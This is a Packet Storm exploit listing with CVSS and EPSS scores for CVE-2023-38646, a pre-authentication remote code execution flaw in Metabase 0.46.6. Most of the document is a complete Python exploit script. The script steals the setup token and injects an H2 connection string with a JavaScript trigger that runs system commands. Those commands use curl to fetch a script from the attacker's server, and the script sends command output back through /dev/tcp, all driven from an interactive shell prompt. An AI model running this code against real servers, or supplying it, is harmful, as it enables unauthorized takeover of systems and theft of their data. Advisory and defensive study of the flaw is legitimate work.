Lucene search

K
packetstormMusyoka IanPACKETSTORM:177138
HistoryFeb 15, 2024 - 12:00 a.m.

Metabase 0.46.6 Remote Code Execution

2024-02-1500:00:00
Musyoka Ian
packetstormsecurity.com
122
exploit
remote code execution
metabase 0.46.6
ubuntu 22.04
vulnerability
http server
setup token
exploitable

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.4 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.901 High

EPSS

Percentile

98.8%

`# Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution  
# Google Dork: N/A  
# Date: 13-10-2023  
# Exploit Author: Musyoka Ian  
# Vendor Homepage: https://www.metabase.com/  
# Software Link: https://www.metabase.com/  
# Version: metabase 0.46.6  
# Tested on: Ubuntu 22.04, metabase 0.46.6  
# CVE : CVE-2023-38646  
  
#!/usr/bin/env python3  
  
import socket  
from http.server import HTTPServer, BaseHTTPRequestHandler  
from typing import Any  
import requests  
from socketserver import ThreadingMixIn  
import threading  
import sys  
import argparse  
from termcolor import colored  
from cmd import Cmd  
import re  
from base64 import b64decode  
  
  
class Termial(Cmd):  
prompt = "metabase_shell > "  
def default(self,args):  
shell(args)  
  
  
class Handler(BaseHTTPRequestHandler):  
def do_GET(self):  
global success  
if self.path == "/exploitable":  
  
self.send_response(200)  
self.end_headers()  
self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0 > /dev/tcp/{argument.lhost}/{argument.lport}".encode())  
success = True  
  
else:  
print(self.path)  
#sys.exit(1)  
def log_message(self, format: str, *args: Any) -> None:  
return None  
  
class Server(HTTPServer):  
pass  
  
def run():  
global httpserver  
httpserver = Server(("0.0.0.0", argument.sport), Handler)  
httpserver.serve_forever()  
  
def exploit():  
global success, setup_token  
print(colored("[*] Retriving setup token", "green"))  
setuptoken_request = requests.get(f"{argument.url}/api/session/properties")  
setup_token = re.search('"setup-token":"(.*?)"', setuptoken_request.text, re.DOTALL).group(1)  
print(colored(f"[+] Setup token: {setup_token}", "green"))  
print(colored("[*] Tesing if metabase is vulnerable", "green"))  
payload = {  
"token": setup_token,  
"details":  
{  
"is_on_demand": False,  
"is_full_sync": False,  
"is_sample": False,  
"cache_ttl": None,  
"refingerprint": False,  
"auto_run_queries": True,  
"schedules":  
{},  
"details":  
{  
"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://{argument.lhost}:{argument.sport}/exploitable').openConnection().getContentLength()\n$$--=x\\;",  
"advanced-options": False,  
"ssl": True  
},  
"name": "an-sec-research-musyoka",  
"engine": "h2"  
}  
}  
timer = 0  
print(colored(f"[+] Starting http server on port {argument.sport}", "blue"))  
thread = threading.Thread(target=run, )  
thread.start()  
while timer != 120:  
test = requests.post(f"{argument.url}/api/setup/validate", json=payload)  
if success == True :  
print(colored("[+] Metabase version seems exploitable", "green"))  
break  
elif timer == 120:  
print(colored("[-] Service does not seem exploitable exiting ......", "red"))  
sys.exit(1)  
  
print(colored("[+] Exploiting the server", "red"))  
  
  
terminal = Termial()  
terminal.cmdloop()  
  
  
def shell(command):  
global setup_token, payload2  
payload2 = {  
"token": setup_token,  
"details":  
{  
"is_on_demand": False,  
"is_full_sync": False,  
"is_sample": False,  
"cache_ttl": None,  
"refingerprint": False,  
"auto_run_queries": True,  
"schedules":  
{},  
"details":  
{  
"db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl {argument.lhost}:{argument.sport}/exploitable -o /dev/shm/exec.sh')\n$$--=x",  
"advanced-options": False,  
"ssl": True  
},  
"name": "an-sec-research-team",  
"engine": "h2"  
}  
}  
  
output = requests.post(f"{argument.url}/api/setup/validate", json=payload2)  
bind_thread = threading.Thread(target=bind_function, )  
bind_thread.start()  
#updating the payload  
payload2["details"]["details"]["db"] = f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash /dev/shm/exec.sh {command}')\n$$--=x"  
requests.post(f"{argument.url}/api/setup/validate", json=payload2)  
#print(output.text)  
  
  
def bind_function():  
try:  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.bind(("0.0.0.0", argument.lport))  
sock.listen()  
conn, addr = sock.accept()  
data = conn.recv(10240).decode("ascii")  
print(f"\n{(b64decode(data)).decode()}")  
except Exception as ex:  
print(colored(f"[-] Error: {ex}", "red"))  
pass  
  
  
  
if __name__ == "__main__":  
print(colored("[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]", "magenta"))  
args = argparse.ArgumentParser(description="Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]")  
args.add_argument("-l", "--lhost", metavar="", help="Attacker's bind IP Address", type=str, required=True)  
args.add_argument("-p", "--lport", metavar="", help="Attacker's bind port", type=int, required=True)  
args.add_argument("-P", "--sport", metavar="", help="HTTP Server bind port", type=int, required=True)  
args.add_argument("-u", "--url", metavar="", help="Metabase web application URL", type=str, required=True)  
argument = args.parse_args()  
if argument.url.endswith("/"):  
argument.url = argument.url[:-1]  
success = False  
exploit()  
  
  
  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.4 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.901 High

EPSS

Percentile

98.8%